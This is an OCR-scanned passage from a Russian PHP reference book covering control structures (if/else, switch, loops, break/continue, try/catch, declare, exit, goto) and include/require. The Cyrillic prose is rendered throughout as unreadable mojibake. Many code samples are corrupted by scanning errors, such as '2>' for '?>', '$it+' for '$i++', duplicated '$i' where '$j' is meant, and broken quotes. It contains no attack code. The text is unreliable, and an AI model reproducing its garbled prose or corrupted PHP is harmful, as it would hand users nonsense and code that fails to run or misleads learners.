MICIIOJIB3YETCsI 11151 CCHLIKH, B TIPOTUBHOM caiydae otobpaxkaercst URL, 3anan-
HBIH mepeMeHHOH $url.

Tun (instanceof)
Omnepatop instanceof TPOBEPSIET, SIBJSETCS NEpPeMeHHasi O0OGBEKTOM 3aJaH-
HOTO KJIacca, peaiu3yeT JIM OHa 3aflaHHbIit uHTepdeiic (cM. raaBy 6 ai1s 6osee
nozapo6Ho# nHpopMaluK o 00beKTaM U uHTepdeiicam):
$a = new Foo;

$isAFoo = $a instanceof Foo;  // true
$isABar = $a instanceof Bar;  // false



..............
2.5. Onepatopbl ynpasneHus BbiNONIHEHNEM

S3bik PHP mnoamepxuBaeT HECKOJBKO TPAAMIMOHHBIX KOHCTPYKIUU MJisl
yTpaBJjieHUs] TOTOKOM BBITIOJTHEHUST TIporpaMMbl. K 3TUM KOHCTPYKIMSAM OTHO-
CSAT YCJIOBHBIN omepatop if/else, a TakXe OMepaTop switch, IMO3BOJSIOLINE
BBITIOJTHATH (MJIM HE BBIMOJIHATD) Pa3JHUHble YUACTKU KOAA B 3aBUCUMOCTH OT
ycyoBusi. Takke K 3TUM KOHCTPYKIMSIM OTHOCSITCSI LIMKJIBI, Hampumep, while
U for, UCTIOJIB3YIOIIMECS IJIS1 TOBTOPHOTO BBIMOJTHEHHUS YYaCTKOB KOJIA.

2.5.1. Oneparop if

Omneparop if IpoBepsieT UCTUHHOCTb BBIPAXKEHUS U, €CJT OHO UCTHHHO, BBITOJI-
HsieT 3aJlaHHBIA TIPOTPAMMUCTOM OTIepaTop:

if (sbipaxenue) onepatop;

YTo6bl 3a1aTh aJIbTEPHATUBHBIN ONEPATOP, KOTOPbINA OyAET BbINOJHEH, ECJIH BbI-
paXkeHue PaBHO false, UCTIOIB3YETCST OMOJHUTEIBHOE KJIIOYEBOE CJIOBO else:

if (seipaxenue)
onepartop

else
oneparop?2

Hanpumep:

if ($user_validated)

echo "[o6po noxanosars!”;
else

echo “[doctyn sanpewen!”;

Ecsi BaM HyKHO BBITIOJHUTB 60JIee OJHOTO OTepPaTOpPa, UCIOJIb3YiiTe 6JI0K ome-
PaTOPOB - OIePaTopbl, 3aKJI0YEHHbIE B (DUTyPHBIE CKOOKH:

if ($user_validated) {
echo “"[lo6po noxanoeats!”;
$greeted = 1;

)

else {
echo “[doctyn 3anpewen!”;
exit;
}
SAspik PHP Takxe npenocTaBisieT ajJbrepHaTUBHBIA CHHTAKCHUC [JIsSI 3TOTO Olle-
paTopa (Kak U [JIs 0epaTopoB IIUKJIOB). BMecTo 3akiouenus onepatopos 6.10-
Ka B (hurypHbie cKOOKH, yKaxxute mocye oneparopa if qsoetoune (:), a B KOH-
1ie Bcell YCIOBHON KOHCTPYKIMHU YKAXHUTe KJIIOYeBOe CJI0BO endif. Ciemyromiuii
MPUMED IEMOHCTPUPYET 3TOT aJIBTePHATUBHBIN CUHTAKCHC:
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if ($user_validated):
echo “fdo6po noxanosats!”;
$greeted = 1;

else:
echo "Joctyn 3anpewen!”;
exit;

endif;

AJIbTEpHATUBHBIN CHHTAKCHUC MT0JIE3EH, €CJIH Y Bac ecTb Oosibiiue 6ok HTML-
KO/Za BHYTPH Bauwnx onepatopos. Hanpumep:

<? if ($user_validated) :2>
<table>
<tr>
<td>Wms:</td><td>Sophia</td>
</tr>
<tr>
<td>®amunus:</td><td>lee</td>
</tr>
</table>
<?else: 2>
Moxanyiicta sBoiAuTe.
<2 endif 2>

HOCKOJIbe if - 3TO TOXe OIlIEpPATOp, Bbl MOXETE CO34aBaTb ULEMNOYKH, COCTOA-
[Me U3 OmepaTopoB if. PaccMOTpUM elle OAUH NMpPUMEDP, AEMOHCTPUPYIOLIMH,
KaK 6JIOKI/I IIOMOralOT OPraHu30BaTb MBICJIU:
if ($good) {
print("Xopowo!”);

}

else {
if ($error) {
print("Ownbkal”);

else {
print(“Mnoxo...”);

}
}

Brl MoeTe Ucnob30BaTh IPUBEAEHHBIN TOJBKO YTO CUHTaKcUC, HO PHP npex-
JlaraeT elle JONOJHUTEJbHYI0O BO3MOXKHOCTb — KJIIOYEBOE CJIOBO elseif, MO3BO-
Jistiolllee HEMHOTO ynpocTUTh Koa. C ero ucnosib3oBaHUEM IPeIbIAY NI IPUMED
MOJeET ObITh NepenucaH Tak:

if ($good) {

print(“"Xopowo!”);

elseif ($error) {
print(“Owwnbkal”);
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else {
print(“Mnoxo...");

}

Jlns1 mpocToil MpoBepKU UCTHHHOCTH/JIO)KHOCTH MOXHO TaKXe HCII0Jb30BaTh
TepHapHbIi onepatop (2:). O6bIYHO OH MCIOJIb3YETCS B CUTYaLUsX, KOTIa HYX-
HO YTO-TO BBIBECTH, €CJIU 33/JaHHAsI TlepeMeHHasl ICTUHHA. PaccMOTpUM Ko, Ha-
MMHCAaHHBIN C MOMOIIBIO OnlepaTopa if/else:

<td><2php if($active) { echo “pa”; } else { echo “net”; } 2></td>

JTOT Xe KOOI MOXXHO IEPENHNCATD C UCITIOJIb3OBAHUEM TEPHAPHOTI'O OIEPATOpA:
<td><2php echo $active 2 “pa” : “ner”; 2></1d>

CpaBHI/IM CHUHTAKCHUC 06OI/IX OIIEpaTOpPOB:

if (ssipaxenue) { true_oneparop } else { false_oneparop }
(smipaxenue) 2 true_sbipaxenue : false_sbipaxenue

OcHoBHast pa3HHUIA B TOM, YTO YCJIOBHBIH OIepaTop He COBCEM ONEepaTop. ITO
O3HayaeT, YTO OH MUCNOJb3yeTCsl B BHIPAXKEHUSX, a pe3yJbraT TepHapHOTrO BbI-
paskeHHsl - caMOCTOsITeIbHOE BbIpakeHHe. B mpeabigylieM npumepe onepaTop
echo BHYTpH ycJOBMA if, a B cIydyae C TepHapHbIM ONEPaTOPOM echo mperie-
CTBYyeT BbIpaXK€HUIO.

2.5.2. Oneparop switch

Onepatop switch ucnosb3yercst Toraa, Koraa BaM Hajlo 3a/laTh pa3jinyHble aeii-
CTBHUS B 3aBUCUMOCTH OT 3HaueHWI oHO# nepeMeHHoi. Hampumep, nepemen-
Hasl COZIEPXKUT UMsI NI0JTb30BATEIS, @ BbI XOTHTE BBIITOJHHUTD OIpeIeIeHHbIE [eii-
CTBUS 171 KaXKIOTO MOJb30BaTesid. BOT Bbl M CpaBHUBaeTe 3HaU€HHE MEPEMEH-
HOW ¢ IMEeHaMH, 3a/1aBas /i1 KaX/J0ro MIMEHHU CBOe 1oBefileHre. B 3ToM cMbicie
oneparop switch aHasornyeHn cepuu onepaTopos if ¢ yCJI0BUsAMH Ha OHY U TY
e NepPEMEHHY 0.

Utak, onepatopy switch nmepenaercsi BbipakeHne. OH CpaBHUBAeT €ro 3Haye-
HUE CO BCEMU 3HAYEHUSMHU, YKAa3aHHBIMU B KJIIOYEBBIX CJIOBAX case. Ecyiu Hali-
JIEHO COBIajieHue, GyyT BbIMOJHEHBI BCE ONEPATOPBI, HAUYHWHAsI C IEPBOTO HJI0Ka
case, COOTBETCTBYIOIIEMY BbIPa’X€HHUIO, U [0 NEPBOTO KJIOYEBOTO CJIOBA break.
Eciu coBnasenusi He HailieHbl, 6yIyT BBITIOJIHEHBI OIIEPATOPDI, 3alaHHbIE KJIIO-
YyeBbIM CJIOBOM default.

HpelIHOJIO)KPIM, 4YTO Yy BaC €CTb C.HElIyIOI[IHf/i KO

if ($name == 'ktatroe’) {
// caenats u4to-TO




PHP. NonHoe pykOBOACTBO U CNPABOYHUK YHKLMIA

else if ($name == 'dawn’) {
// caenats uto-TO

else if ($name == 'petermac’) {
// caenats uto-TO

}
else if ($name == ‘bobk’) {
// chenate uto-TO

}
Ucnonb3ys onepaTtop switch, 3TOT KOA MOXKHO TEPENMICATh TaK:

switch($name) {
case 'ktatroe’:
// caenats uto-TO
break;
case ‘dawn’:
// caenats uto-TO
break;
case 'petermac’:
// caenats 4To-TO
break;
case 'bobk'’:
// chaenats 4TO-TO
break;
}

AJII)'I'epHaTPIBHbeI CUHTAKCHUC 6}7[[6‘T BBITJIALETDH TAK:

switch($name):

case 'ktatroe’:
// caenartb uto-TO
break;

case ‘dawn’:
// caenats uto-To
break;

case 'petermac”:
// chaenats uto-TO
break;

case 'bobk":
// caenate uto-TO
break;

endswitch;

[TockobKy OMepaTopsl BHIMOIHSIOTCS, HAUMHAS C TIEPBOM METKH case, COOTBET-
CTBYIOILIEH 3HAYEHUIO BBIPAXKEHHUS U [0 CJEXYIOLIErO KJIIOYEBOTO CJIOBA break,
Bbl MOXX€T€ KOMOMHUDPOBATh HECKOJBKO METOK case. B ciemyroieM mpumepe
“ma” GymeT BbIBEIEHO, €CJIU $name COMEPKUT “sylvie” UM “bruno”:
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switch ($name) {
case 'sylvie";
case 'bruno":
print(“na”);
break;
default:
print(“ner”);
break;
}

JKenarenbHO Kak-TO KOMMEHTHPOBAThb TOT (aKT, YTO Bbl HE yKa3blBaeTe OIepa-
TOP break, HHAa4e BbI MOXETE KOT/1a-TO 3a0bITh €r0 yKa3aTb U B pe3yJbraTe Oyner
BBITIOJIHEH KOJI, KOTOPbIii He J0JI)K€H ObITh BBIIIOJIHEH.

Bbl MoxeTe yka3aTh J11060€ YMCJI0 YPOBHEN [UIsI KJIIOYEBOTO CJIOBA break. (nena-
€TCs1 3TO MyTeM yKa3aHWs YKcJia TocJe onepatopa). TakuM obpa3oMm, break MO-
XKeT pa3pbIBaTh HECKOJIBKO YPOBHEH BJIO)KEHHbIX ONEPATOPOB switch.

2.5.3. Onepartop while

Lluxn ¢ npeaycnosuem
Camas npocTas popMa LHKJIA - ITO ONEPATOP while:
while (sbipaxenue) onepatop

Ecnu BbipaXkeHre UCTHHHO, onepaTop Oyaer BbinoJHeH. 3aTeM OyaeT 3aHOBO
BBIYKMCJIEHO 3HAY€HHE BbIPAXEHHs], €CJIM OHO HCTHHHO, OMEepaTop CHoBa Oyxer
BBINIOJIHEH U T.A. [[PyrMH CJI0BaMH, LMKJI while Oy€T MOBTOPATH BBINOJHEHHE
ornepaTopa, Moka UICTHHHO YKa3aHHOE BbIPaXkKeHHe.

PaccMoTpuM Kox, KOTOpBIi ckaabiBaeT ykcia ot 1 go 10:

$total = 0;

$i=1;

while ($i<=10) {
$total += $i;
$i++;

}
ANBTepHATHBHBIN CUHTAKCHC CJIeY IO

while (sbipaxenue):
onepatop;
euie oneparops ;
endwhile;

Hanpumep:
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$total = O;

$i=1;

while ($i <= 10):
$total += $i;
$it+;

endwhile;

ITpexxeBpeMeHHBIH BbIXOJ, U3 LIMKJIAa BO3MOXKEH C OMOIIBIO KJII0YEBOro CJI0Ba
break. B cienyromem kone $i HUKOrza He NOCTUTHET 3HAYEHUS 6, MOCKOIBKY
IIMKJI Oy/IeT OCTaHOBJIEH, KaK TOJIBKO $i JOCTUTHET 5:

$total = 0;
$i=1;

while ($i<=10) {
if ($i ==5) {
break; // npepbisaer uukn

}

$total += $i;
$i++;
}
Bbl MoxeTe yka3aTh B omnepartope break YMCJIO YPOBHEM, KOTOPOE HYXHO Ipe-
pBaTh. [IpeacTaBuM, YTO y HAC eCTb JBA LIMKJIA while - BHYTPEHHUIT 1 BHEIITHUIA,
MBI MOX€EM TIPEPBATh BBHIMTOJHEHHE BHEIIHETO LUKJIA U3 BHYTPEHHETO (BJIOXKEH-
Horo) 1ukia. Hanpumep:
$i=0;
$i=0;

while ($i < 10) {
while ($j<10) {
if ($i==35) {
break 2; // NpepbIBaET BHINONHEHNE ABYX LIMKIOB

)
$i++;
}
$it++;

}

echo “{$i}, {$i}";

0,5
Omnepartop continue TIO3BOJISIET MPOMYCTUTh UTEPALMIO LIMKJIA, HO He IPEPBATh
ero paboTy, a mepelTH CHOBA K ycJI0BHIO MK, Kak 1 B ciyyae ¢ break, BbI MO-
JKeTe yKa3aTh YHCJIO yPOBHEH LIMKJIA:
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while ($i< 10) {
$i++;
while ($j<10) {
if ($j==5) {
continue 2; // 3atparueaet asa yposHs

)
$i++;

}

B 3ToMm koxe $j HMKOra He AOCTHTHET 3HAYeHUsI 6ousble 5, HO $i npoiizer mo
BCEM 3HAYEeHUSM - oT O 10 9.

Lukn ¢ noctycnosuem

Asbik PHP Taxxe npeasaraer uukJa ¢ nocryciaoBueM do/while, CHHTaKCHC KO-
TOPOTO BBITJISIIUT TaK:
do

oneparop
while (Beipaxenue)

UcnonbayitTe UMK do/while, KOraa Teso UUKJIA JOJXKHO OBITh BBINOJHEHO
X0Ts1 ObI OJIH Pa3, Be/lb B 3TOM IIMKJIe CHaYaJla BHITOJHSETCS TEJIO LUKJIA, a 10-
TOM yXe IPOBepsIeTCs] YCJIOBUE:

$total = 0;
$i=1;
do {
$total += $i++;
} while ($i <= 10);

B uukne do/while BB Takke MoOXXeTe MCIONb30BaTh ONEPaTOpbl break
M continve, KaK B CJIy4ae ¢ OObIYHBIM OIIEPaTOPOM while.

[Iukn do/while MHOrAa MOJIE3HO MpepBaTh, HaNMpUMep, TPU BO3HMKHOBEHHH
own6ku. [Tpumep:
do {
// nposepsiem ycnosue ownbkm

if ($errorCondition) {
break;

}

// BuinonHsem apyrue oneparopsl
} while (false);

[TockonbKy ycioBHe st UMKJA - false, TeJO UMKJIA OYAET BBHIIOJHEHO TOJIb-
Ko oauH pa3. OqHako, ecii MPoU30iiieT Kakasi-To olnbKa (o yeM Oyzer cBuze-
TEeJbCTBOBAaTh INepeMeHHast $errorCondition), KOJ TMOcJe break He Oyaer BbI-
TIOJIHEH.
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2.5.4. Uukn for. Lukn co cuetyumkom

[Iuxkn for BO MHOTOM mof06eH OmepaTopy while, HO 06J1a1a€T AOMOJHUTENbHbI-
MM KauecTBaMH, KOTOPbI€ MOTYT OBbITh MOJIE3HBI: BbI MOXKETE JOOABUTh MHUIIMA-
JIM3ALIMIO CUETYHKA, BHIMOJHATH TEJIO LIMKJIA 3aJaHHOE KOJMYECTBO pa3, 3a1aTh
neiicTBUe (UM IEHCTBUSI — TEJIO LIMKJIA), KOTOPOe OyIeT BBIMOJHEHO B pPaMKax
KQXKI0H UTepaluu UK,

[l151 Hayana pacCMOTPUM LMK while, BLIBOASIIIMIA YKca OT O 10 9:

$counter = 0;

while ($counter < 10) {
echo "Cuetuuk = {$counter}\n”;
$counter++;

}
Tenepb pacCMOTpHUM, KaK 3TO MOXXHO CIA€JIATh C ITIOMOIIbIO HUKJIA for:

for ($counter = 0; $counter < 10; $counter++) {
echo "Cuerumk = $counter\n”;

}
CrpyKTypa onepaTopa for ClIeayoIas:
for (crapr; ycnosue; unkpement) { oneparop(si); }

Bripaxkxenue cmapm BpIYMCIsI€TCS OAKH Pa3 - B CAMOM HayaJle BLITNIOJIHEHUS OIe-
patopa for. IIpu Kaxmoil uTepaluu NMPOBEPSETCs YCa06ue, eCaIu OHO UCTUHHO,
BBIITOJIHSETCS] TeJO LKA, EC/IM OHO JIOXKHO, LIMKJI MPeKpalaeT cBow pabory.
BripaxxeHue unkpesmenm BbIYMCIISI€TCS NTOCIE KaXKI0H UTepalyy LUK,

AnbTepHaTUBHBIN CHHTAKCUC!

for (expr1; expr2; expr3):
statement;

endfor;

Crenyolas nporpaMma cKJaaabiBaeT yucia ot 1 1o 10, ucronb3yst HuK for:

$total = O;
for ($i=1; $i<=10; $i++) {
$total += $i;

}

PaCCMOTpI/IM aJIbTepHaTI/IBHbIﬁ CHHTAKCHC 3TOr'0O XXe€ IUKJa:

$total = 0;

for ($i=1; $i<=10; $i++):
$total += $i;

endfor;
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Brr Moxere YKa3aTb HECKOJIbKO Bblpa)KEHI’Iﬁ B OoIlepaTrope for, pa3ziesIMB UX 3a-
MATbIMH, HAIDUMED:

$total = 0;

for ($i=0, $j=1; $i<=10; $i++, $j *=2) {
$total += §j;

}
Taxxe BMeCTO BbIpa)keHHsI Bbl MOXKeTe BooOl1e HUYero He yka3biBaTb. B camoii
nereHepaTuBHOI (opMme omepaTop for mpeBpauaeTcss B 6ECKOHEUHbBIH LIUKJL.
Tak, cienyiouuii LMK He MOXeT ObITh OCTAHOBJIEH, OH OYZeT BHIBOAUTDH (pa-
3y GeckoHeuHo":

for (;;)

echo “Mews He octanosuTs!<br />";

}

Kak u ¢ umxioM while, B 1uKJe for BbI MOXK€Te HCIOJIb30BaTh OIEPATOPBI
break ¥ continue Kak /Il 3aBepLIEHUs] LMKJA, TaK ¥ JJis 3aBepILEHUS] TEKY-
e uTepalui.

2.5.5. Onepartop foreach

OnepaTtop foreach y106HO UCMOIB30BATh [JIsk MTPOXOAA MO 3JIEMEHTaM MacCHUBa.
B rznaBe 5 Gyayt paccmaTtpuBathes aBe ¢hoOpMbl onepatopa foreach - KOria Bbl
yKe MO3HAKOMHUTECh C MaccMBaMH. I1oka jxe MPOCTO pacCMOTPUM OOLIMIA CHH-
TaKCHUC foreach, MO3BOSAIOUMI MONYYUTh KaK0€ 3HAYEHHE MacCHBa:

foreach ($maccue as $3nauenme) {
//
}

AnbTepHaTUBHBIA CUHTAKCUC CJIeyIOUU:

foreach ($maccue as $3nauenve):

1/ =

endforeach;

Yro6bl MOMYYMTh KaXKABIH KJII0Y (MHAEKC) M KaKI0e 3HayeHHe MacCHBa, UC-
MOJIb3YyiiTe CJeAYIOUMNA CUHTAKCUC:

foreach ($maccus as $xniou => $3anauenme) {
A =
}

AsbTepHATUBHBIA CUHTAKCHUC BBITJISIIUT TaK:

*Ha camom pgene He 6eckoHeYHO, a Noka He 6yAeT NPEBLILEHO MAKCMMaNbHOE BPEMS BbINONHEHUS
PHP-cueHapwus, 3agaHHoe B HacTponkax PHP.
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foreach ($maccue as $xniou => $3nauenne):

// -

endforeach;

2.5.6. Konctpykuums try...catch

Koncrpykuus try...catch aBisercsa He coBceM CTPYKTYPOW YIpaBJ€HHs BbINOJ-
HEHHEM IMPOrPaMMbl, OHA HCIIONb3YETCA AJs 0OPabOTKH CHCTEMHBIX OIIMOOK.
Harnpumep, eciiu Bbl XOTUTE yOEAUTHCS, YTO Bbl yCTAHOBUJIM COEIMHEHHUE C 6a3oi
JAaHHBIX MpEeX/e, 4eM r[pOlIOJI)KPITb BBITNIOJITHEHUE ITPOrpaMMbl, BbI MOXKETE HaIlH-
caTb CJIeAYIOIUH KOZ:
try {

$dbhandle = new PDO('mysql:host=localhost; dbname=library', $username, $pwd);

doDB_Work($dbhandle); // em3bisaem dyHkumio 06pabotkm aanHbix

$dbhondle = nu||; // ocsoboxaaem AECKPUNTOP, KOrAQ OH yX€e HE HYXeH

}
catch (PDOException $error) {

print “Owwn6kal: “ . $error->getMessage() . “<br/>";
die();
}

3nech OymeT NpeaAnpUHSATa MOMBITKA MOAKIIOUEHUs K 6a3e TaHHBIX U 00paboTKH
NaHHBIX B OJI0Ke try. EC/iM MpoM30iieT Kakas-To omubKa, BbINOJHEHHE OyaeT
nepefiaHo OJOKY catch. Co3maercsi 06beKT $error Kiiacca PDOException. Ml
UCIIOJIb3YEM 3TOT OOBEKT /s BhIBOAA cooOmenHus 06 ommbke. Bok catch MOX-
HO MCII0JIb30BaTh HE TOJIBKO /IJIs BBIBO/IA OMIMOOK, HO U IS IOTIBITKH MOAKIIIO-
4YeHHUS K aJbTePHATHBHOM 6a3e JaHHBIX, a TAKXKe IS JTI000H Apyroi o6paboTku
CJIOXKMBIIENCS CUTYAIHH.

. NMpumeuanne. Bonbwe pasHbIX NPUMEPOB UCNONL30OBAHUSA KOH- E«a
CTPYKUMM try...catch 6yneT npuseaeHo B rnase 8. %

e T T e e e e T T

2.5.7. Oneparop declare

Oneparop declare 1M03BOJISIET BaM yKa3aTh AMPEKTUBBI BHIMOJHEHUS s 6Ji0-
Ka Koj1a (KaKoro-sm6o orneparopa Wix Habopa OTepaTopoB, 3aKJII0YEHHOT0 B (HH-
rypHbie ckoOkn). CTpyKTypa ornepartopa declare Cieayonas:

declare (ampektnea)oneparop

B maHHBII MOMEHT DPacCMO3HAIOTCS TOJBKO /IBe IUDEKTHUBBL ficks U encoding.
C nmomMoubio TUPEKTUBHI ticks BBl MOXKETE YKa3aTh, KAK YacTO JOJKHO MPOUCXO-
IUTh JieiicTBUe, 3a1aHHOe PYHKIMH register_tick_function(). Harmpumep:
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register_tick_function(”someFunction”);
declare(ticks = 3) {
for($i=0; $i<10; $i++) {
// caenatb uto-Hubyab
}
}

B nanHoM mnpuMepe (yHKuMS someFunction() GyZeT BBI3BIBATbCS MOCJE BbI-
TOJIHEHHUSI KaXK/I0r0 TPEThEro orepaTopa B OJI0Ke.

JupekTuBa encoding MO3BOJIET yKa3aTh KOAMPOBKY BbiBoga PHP-cuenapus.
Hamnpumep:

declare(encoding = “UTF-8");

Ata ¢opma omepaTopa declare Gyaer nmpourHopuposaHa, korna PHP ckommu-
JINPOBAH C OTIINEHN --enable-zend-multibyte.

2.5.8. Oneparopwi exit v return

OrmepaTop exit HEMENJIEHHO 3aBepIlaeT BBINOJHEHHe ciieHapus. OmepaTop
refurn BO3BpAlllaeT yIpaBjieHWe MPOrpaMMoil u3 (yHKIUNA B BBI3BIBABIIUN MO-
ayab. IIpu 3TOM BHINOJIHEHME BO3BpAlLAEeTCsl B BBIPAXKEHME, CIEAYIOLIee 0Ce
BBI30BAa TEKYIIETO MOYJIS.

B cnyyae ¢ ¢yHkumsaMy, ecau return BbI3BaH M3 (DYHKIIMH, TO OH HEMEAJIEHHO
MpeKpallaeT BbIMOJIHEHUE TeKyllei GYHKIIMY U BO3BPAlllaeT CBOM apryMeHT Kak
3HaueHue JaHHON (pyHKuuu. OmepaTop return MOXKET 3aBepuIUTh paboTy cie-
Hapwsl, ecIi BbI3BaH 3a npeaesiamMu GpyHKuuu (T.e. 3 r106a1bHON 061aCTH BU-
JIUMOCTH).

OmnepaTop exit IPUHUMaeT Heobsi3aTesIbHOE 3HaueHHe, KOTOPOEe HCIOJIb3YeTCst
B KaYeCcTBe COCTOSIHUSI 3aBeplIeHUsI rpoiiecca. Eciu 3To 4Yuc10, TO OHO 03HaYaeT
CTaTyc 3aBeplieHus npouecca. Eciu 3To cTpoka, To 3HayeHue GyeT BbIBEAEHO
nepen 3aBepuieHueM mnpouecca. DyHKUMS die() SIBISETCS IICEBIOHUMOM [JIsI
3To# (OPMBI OIepaTopa exit:

$db = mysqgl_connect(“localhost”, $USERNAME, $PASSWORD);
if (1$db) {

die("He mory noakntounTscs k BI");

}
Haubosee yacto HCIIOJIb3yETCA cieayouiasa KOHCTPYKIU:

$db = mysql_connect(“localhost”, $USERNAME, $PASSWORD)
or die(“He mory noakniountses k B");

Onepatop return moipo6HO GyAeT OMMCaH B riaBe 3.



______________
2.5.9. Oneparop goto

Orneparop goto II03BOJISIET “IIEPENPHITHYTH” B [pyroe MecTo rnporpammbl. Orpe-
JeJIUTh TOYKH BBITIOJIHEHHUST MOXHO € IIOMOLIbI0 MeTOK. MeTka - 310 uaentTudu-
KaTop, I1ocjie KOToporo cienyet noeroune. [locie onpenenenust METOK BbI MO-
JKeTe IIePeXOAUTD [0 HUM B pa3Hble MecTa Balllei IporpaMMBbl.
for ($i=0; $i < $count; $i++) {
// ync, naitgena ownbkal

if ($error) {

goto cleanup;

}

cleanup:
// BBINONHSEM OYUCTKY

OrmnepaTop goto BbI MOXETE HCIOJIb30BATh TOJIBKO [JIsS MEPEXO/ia B Ipefieiax
O/HOM 061aCTH BUAUMOCTH, TAKXKE Bbl HE MOXETE “IIePENPHITHYTh” B TEJIO IIMKJIA
WM orepatopa switch. Boobiie roBopsi, MCIOJb30BaHUE goto SIBJISIETCS ILJIO-
XHMM CTHJIEM. Bbl, KOHEUHO, MOXeTe UCIIO0JIb30BATh goto, OHAKO CTAPANUTECH ITe-
pernucarb Balil Koji 6€e3 goto, YTO cesiaeT Koj 60Jiee MOHSTHBIM.

2.6. BxnoyeHue koaa

[ns 3arpysku koma u HTML us apyroro momynst B Bam Tekyuuit PHP-
CLIEHADUH HCIOJb3YIOTCSI [BE KOHCTPYKIMHU: include U require. Obe moarpy-
xatoT ¢aiin npu 3anycke Bamero PHP-ciienapust, paboTaioT B yCJIOBHBIX ONEpa-
TOpax M IMKJIax ¥ COOOLIAIOT, ecJiu 3arpyxaembiii dhain He HaigeH. OcHOBHasI
pasHUIla B TOM, YTO IIPU IOIBITKE 3arpy3UTh HECYLIECTBYIOIUHN (aili ¢ momo-
1IBIO require TPOM30MAeT (haTanbHasi OmKMOKA U BHIIOJHEHUE ClieHapus Oyaer
npepBaHo. A B cliyyae C include BBI JIMIIb TOJYYUTE NPENYNPEXIEHUE, HO BbI-
TIOJIHEHHE ClIeHAPHsT He GY/IET OCTAaHOBJIEHO.

Yacto include HCHOJNB3YIOT [Jisl pasfiesieHusi CrelUyHOro CONEPKHUMOTO
BeO-CTpaHHUIIbl B paMKax [u3aiiHa caita. Tak, oOliue 11t BCEro caiita aJ1leMeHTbI,
HAIPUMED, 3arOJIOBOK U HUXKHSISI YACTh CTPAHHIIbI, COXPAHSIIOTCS B OTAEJIbHbIE
HTML-ddaiinbl, KOTOpblE MOATPYKAIOTCS IIPH OTKPHITUU TOW UJIM MHOM CTPAHU-
ubl. [Ipu 3TOM Kaxcaas ctpaHua OyaeT BITJISAETh TAK:

<2php include “headerhtml|”; 2>
COmepXuUMOoe CTPaHMUBI

<2php include “footer.html”; 2>
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3mech Mbl Mcnonb3yeM include, motomy uto PHP mosBossieT npopoxkuth 06-
paboTKy CTpaHMIIbl, IaXe eCJIU NPOoU30iiaeT omnbKa Npu 3arpyske (aiiaos au-
3aliHa. KOHCprKuHﬂ require MEHee MpolIaolas 1 6oJbliIe NnoaAXoaUuT AJid 3a-
rPpy3KH 6H6JIHOT6K KoO/Ja, 683 KOTOPbIX HEBO3MOXXHO IMMPOAO/KEHNE BbINIOJIHEHNU A
cuenapus. Hanpumep:

require “codelib.php”;

mysub(); // onpeaenena e codelib.php
YyTb Gosee adexTrBHBbII crocob B paboTe ¢ BEPXHUMH M HUKHUMHU KOJIOHTH-
TyJIaMH (3ar0JIOBKaMH) COCTOMT B TOM, YTOOBI TIOATPY3UTh OAUH (aiis, a 3aTeM
BbI3BATb q)yHKHHH [J1 CO3AaHUS CTaHAAPTU3UPOBAHHBIX 3JIEMEHTOB caira:

<2php require “design.php”;
header(); 2>

content

<2php footer();

Ecau PHP He Moxet ob6pa6oTtaTh yactb PHP-ko/a, 106aBJIEHHOTO ¢ MOMOILbIO
include HJU require daiisa, OyaeT BbIBEAEHO MpeayNpeXaeHHe, HO BbINOJ-
HeHHe clieHapusi 6yaeT nmpogoskeHo. Bbl MoXeTe MoaaBUThb BbIBOA coobiile-
Huit 06 omubkax, 106aBuB onepatop @ nepeia BKJIYeHHeM (aiisa, Hanpumep,
@include.

Eciu B ¢aitne kondurypauun PHP (php.ini) Briaodena onuusi allow_url_
fopen, BbI MOXceTe BKJIIOYaTb (haiiyibl, HaXOAsLMeCs HA yAaJeHHbIX y3JaxX, yKa-
3aB URL BMecTO nyTH Kk daitny, Hanpumep:

include “http:/ /www.example.com/codelib.php”;

Ecau ums daitna HauuHaetcs c hitp;// wau ftp.//, daiin Gyaer noayyex ¢ yaa-
JIEHHOTO y3J1a.

Wmena noaknoyaembix ¢aiisioB MOryT ObITh TPOM3BOIbHBIMH. OOBIYHO UCTTOb-
3y10Tcs pacuiuperus php, .php5 u .html. O6paTrTe BHMMaHKe, YTO NPH yAaJleH-
HOM nostyyenuu ¢aiina ¢ pacuinpenneM .php ¢ cepBepa, Ha KOTOPOM BKJIIOYEH
PHP, b1 nonyuute BoiBog PHP-cuenapus, a He cam PHP-cuenapuit.

Ecau nporpaMma BKJIIOYAeT OJIMH U TOT e (aiis qBaxkabl (6e3 pa3HHIIbI - C 110-
MOIIbIO include WJIK require), HampuMep, KOria Bbl OIIMOOYHO BbI3BAJIH HH-
CTPYKLHIO BKJIIOUeHHs aiiia B LMKJIe, 3TOT (hailn 6yneT BratoveH ele pa3. Eciu
BbI BKJIIoyaete HTML-koz, To 3TOT Koz OyeT BbiBeieH ABaxabl. YTOObI IPeaoT-
BPaTUTh MIOBTOPHOE BKJIIOYeHHE (hailia U CBsI3aHHBIE C 3THM OILIMOKH, HCTOJb-
3yliTe KOHCTPYKUMH include_once M require_once. IIpn mnepBoM BKJIIOUEHHH
¢daitna onn BeayT cebsi, Kak include U require, HO OHM WMTHOPUPYIOT MOCJEIy-
IOlllMe MOMbITKU 3arpy3uTh OAUH U TOT Xe ¢aitn. Hanpumep, MHOXecTBY ase-
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MEHTOB CTPaHUIIbl, KOTOPbIE XPAHSITCS B OT/AEJbHbIX (paiiiax, Hy)KHO 3HATh TEKY-
1IMe MPeANOYTEeHUs Moab30BaTesA. Brbanoreka 31eMeHTOB JO/KHA 3aTPY3UTh
6UOMMOTEKY TOJIb30BATEIbCKUX TPEANOYTEHUH C TOMOLIBIO require_once.
Jlu3aitHep CTpaHMI[ 3aT€M MOXET MOAKJIOYUTh 3JIEMEHT CTPaHUIIbI, He Gecro-
KOSICh O TOM, OBLJI JIM KOJI M0JIb30BaTeIbCKUX MPEANOYTEHUH yxe 3arpysxen. Koa
3arpyxaemoro daiisa UMIOpTHPYeTCs B 06J1acTh, B KOTOPOIi ObLJT HaliieH onepa-
TOp include, TTO3TOMY BKJIIOYAeMblif KO YBUAMUT U CMOXeT MOAUQHUIUPOBATDH
BCe MepeMeHHbIE BalIero Koja. ITO MOXKeET ObITh M0JIE3HBIM, Harnpumep, HubIMo-
TEKa OTCJIE)KMBAHUS MOJIb30BATEJISI MOXKET COXPAHUTb UMS TEKYIIETO M0JIb30Ba-
TeJIA B IJ100abHOM TIepeMEHHOM $user:

// rnaewas ctpanmua
include “userprefs.php”;
echo “Mpuser, {$user).”;

Bo3MoxxHOCTb 6MOIMOTEK BUAETh U U3MEHSTD Ballld IEPEMEHHbBIE MOXKET TaKXKe
